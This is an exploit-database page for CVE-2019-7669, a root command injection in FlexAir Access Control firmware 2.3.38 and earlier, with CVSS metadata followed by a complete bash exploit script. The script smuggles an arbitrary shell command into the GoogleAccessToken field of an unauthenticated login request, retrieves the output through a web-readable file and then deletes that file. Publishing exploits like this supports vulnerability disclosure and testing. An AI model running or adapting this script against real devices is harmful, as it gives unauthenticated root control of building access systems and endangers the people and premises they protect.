FlexAir Access Control 2.3.38 Command Injection

2019.11.13
Credit: Sipke Mellema
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/bin/bash # # Command injection with root privileges in FlexAir Access Control (Prima Systems) # Firmware version: <= 2.3.38 # CVE: CVE-2019-7669 # Advisory: https://applied-risk.com/resources/ar-2019-007 # Paper: https://applied-risk.com/resources/i-own-your-building-management-system # # Discovered by Sipke Mellema # Updated: 14.01.2019 # ########################################################################## # # $ ./Nova2.3.38_cmd.sh 192.168.13.37 "id" # Executing: id # Output: # uid=0(root) gid=0(root) groups=0(root),10(wheel) # Removing temporary file.. # Done # ########################################################################## # Output file on the server OUTPUT_FILE="/www/pages/app/images/logos/output.txt" # Command to execute CMD="$2" # IP address IP="$1" # Change HTTP to HTTPS if required HOST="http://${IP}" # Add output file CMD_FULL="${CMD}>${OUTPUT_FILE}" # Command injection payload. Be careful with single quotes! PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;${CMD_FULL}'/></request></requests>" # Perform exploit echo "Executing: ${CMD}" curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx" # Get output echo "Output:" curl -s "${HOST}/app/images/logos/output.txt" # Remove temp file echo "Removing temporary file.." PAYLOAD="<requests><request name='LoginUser'><param name='UsrName' value='test'/><param name='UsrEMail' value='test@test.com'/><param name='GoogleAccessToken' value='test;rm /www/pages/app/images/logos/output.txt'/></request></requests>" curl --silent --output /dev/null -X POST -d "${PAYLOAD}" "${HOST}/bin/sysfcgi.fx" echo "Done"


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top